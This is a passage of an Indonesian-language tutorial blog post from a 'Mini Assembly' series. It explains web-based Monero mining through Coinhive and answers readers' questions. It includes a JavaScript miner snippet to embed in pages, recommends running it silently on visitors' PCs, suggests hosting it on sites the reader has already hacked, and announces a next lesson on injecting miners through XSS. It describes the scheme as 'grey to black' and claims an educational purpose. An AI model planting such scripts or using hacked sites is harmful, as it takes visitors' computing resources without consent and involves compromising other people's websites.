Mini Assembly Sesi 4 - Web Mining

in miniassembly •  7 years ago 

Lanjutan Dari Sesi 3
Jadi, seperti yang sudah disebutkan diatas, berikut ini list pool yang bisa kita gunakan:

  1. Minergate
  2. Coinhive
  3. ZITPool (Membuat service pool sendiri)

Setelah menggunakan pool dari minergate, selanjutnya kita beralih ke coinhive.

@ASK from Sambal Terasi
Sebelumnya maaf .. kalo nambang monero dengan cara diatas menggunakan hp kemungkinan bisa ga ya .. 😅
@ANSWER
bisa.
hang.

Coinhive adalah salah satu website yang menyediakan pool untuk mining. hanya saja, Coinhive hanya support untuk coin XMR (Monero) saja. Akan tetapi kemudahan pengaplikasian tools miningnya, menjadi salah satu kelebihan Coinhive. Untuk memulai, silahkan kalian buka website http://coinhive.com/.

Jika kemarin kita melakukan mining berbasis Desktop (GUI) dan CLI, kali ini kita menambang berbasis web. Untuk pendaftaran caranya seperti biasa.

Sebagai informasi: Mining menggunakan coinhive terdeteksi oleh beberapa anti virus. Mini Assembly kita kali ini hanya sebagai edukasi agar kita dapat mengetahui ciri-ciri website yang terinfeksi atau sengaja dipasangi tools miner.

Jika sudah berhasil mendaftar, langkah selanjutnya kita ke bagian pengaturan "Setting", Lalu kebagian Site & API Keys https://coinhive.com/settings/sites.


Isikan nama website

Jika kalian belum punya website, bisa menggunakan web-web gratisan.

Resiko ditanggung sendiri: Atau dengan memanfaatkan website yang sudah kalian hack

Atau bisa juga dengan memanfaatkan hosting-hosting gratis untuk mengupload halaman web yang akan kita sisipkan tools miner. Beberapa penyedia hosting gratisan yang bisa digunakan:
https://www.awardspace.com/free-hosting/
https://www.freehostia.com/

Atau jika ingin cepat, mungkin bisa dengan memanfaatkan blog-blog seperti Blogspot.

Jika sudah memiliki domain sendiri, langkah selanjutnya adalah men-generate Private dan Public key.


Contoh private dan public key yang sudah digenerate

Lalu klik tombol "SAVE SITE NAMES".
Langkah berikutnya, ke bagian "Documentation" https://coinhive.com/documentation

Screenshot-2018-3-16 Documentation – Coinhive – Monero JavaScript Mining.png
Dibagian ini terdapat 6 cara untuk menerapkan miner.

Simple Miner UI

Dengan cara ini, kita harus mendapatkan persetujuan dulu dari user yang mengunjungi website kita. Apakah boleh menggunakan resource CPU nya untuk melakukan mining

Sebagai catatan, proses web mining tidak dilakukan di sisi server. Tapi disisi client. Dalam hal ini adalah orang yang mengunjungi website kita. Yarp. Bisa dibilang alternative adsense. Tapi grey to black way :D

2. Captcha

Cara kedua ini agak mirip cara pertama. Tapi lebih acceptable. Captcha miner berfungsi layaknya Captcha / Re-captcha, hanya saja problem yang harus disolved adalah user harus menyelesaikan beberapa TASK, atau dalam hal ini Mining sesaat.

3. HTTP API

Untuk penggunaan cara ke-3 ini, bisa kita terapkan jika web kita menyediakan data yang bisa diakses melalui API Service.

4. Non-Adblocked Version

Cara ke-4 ini lebih deal-dealan. Sebenarnya modenya agak mirip dengan cara pertama.

5.WordPress Plugins

Baru tau kalo ada fitur ini. :D
Belum pernah nyoba, karena bukan WP Coder. :)

6. JavaScript Miner

Nah, cara inilah yang akan kita coba malam ini. Kenapa kita menggunakan cara ini, karena trik-trik penggunaannya yang akan kita bahas nanti lebih 'hacky'. Mudah, karena kita cukup menyisipkan beberapa baris code, dan kita tidak perlu melakukan apapun. done. selesai. udah gitu aja.

Berikut ini contoh script miner yang bisa kita sisipkan di halaman website kita:

<script src="https://authedmine.com/lib/authedmine.min.js"></script>
<script>
  var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});

  // Only start on non-mobile devices and if not opted-out
  // in the last 14400 seconds (4 hours):
  if (!miner.isMobile() && !miner.didOptOut(14400)) {
    miner.start();
  }
</script>

YOUR_SITE_KEY kalian isi dengan PUBLIC KEY yang sudah digenerate di website coinhive.com tadi.

Disarankan agar hanya menjalankan script ini jika halaman web dibuka menggunakan PC/Laptop/Server. Karena proses mining menggunakan resource CPU yang sangat tinggi. Untuk perangkat mobile tertentu, proses ini bisa mengakibatkan Smartphone/Tablet Hang.

Lalu seperti halnya dengan Minergate pada sesi sebelumnya, kita juga bisa memantau hasil mining kita di menu Dashboard


Ini adalah contoh hasil mining kita, berikut informasi hasil withdrawnya.

@ASK from Marlon
Berarti dgn cara web mining hasilnya di sangat dipengaruhi dari jumlah pengunjung website?
@ANSWER
Benar.

Berikutnya untuk mengetahui apakah miner kita jalan atau tidak, bisa kita lihat dari statistik CPU di laptop kita.

Ini adalah contoh statistic CPU dalam kondisi normal

Dan ini adalah contoh statistik CPU yang mulai melakukan mining

Ke-4 core akan mencapai 100% untuk melakukan proses mining

@ASK from Fikry
Itu yg java bisa kita limit gak biar penggunaan cpu pda client g berat gtu?
@ANSWER
Bisa dibilang sangat teknis. Krn javascript hanya jalan diatas web, sehingga untuk mengakses resource system seperti ini biasanya harus menggunakan cara yang tidak biasa. Triknya adalah dengan menentukan kapan mining harus berjalan. Dengan cara menentukan device yang digunakan oleh user. Jika user mengakses web kita menggunakan laptop/PC maka jalankan mining. Jika user mengakses menggunakan Gadget, maka nonaktifkan

Sebagai contoh, untuk melihat langsung website yang sudah dipasangi miner, kalian bisa mengunjungi website http://miningland.farm

Yarp, klo begitu kita akhiri dulu sesi ke-4 ini. Sesi berikutnya adalah lanjutan tentang sesi ini.
Memanfaatkan XSS Untuk Menyisipkan Script Miner

Authors get paid when people like you upvote their post.
If you enjoyed what you read here, create your account today and start earning FREE STEEM!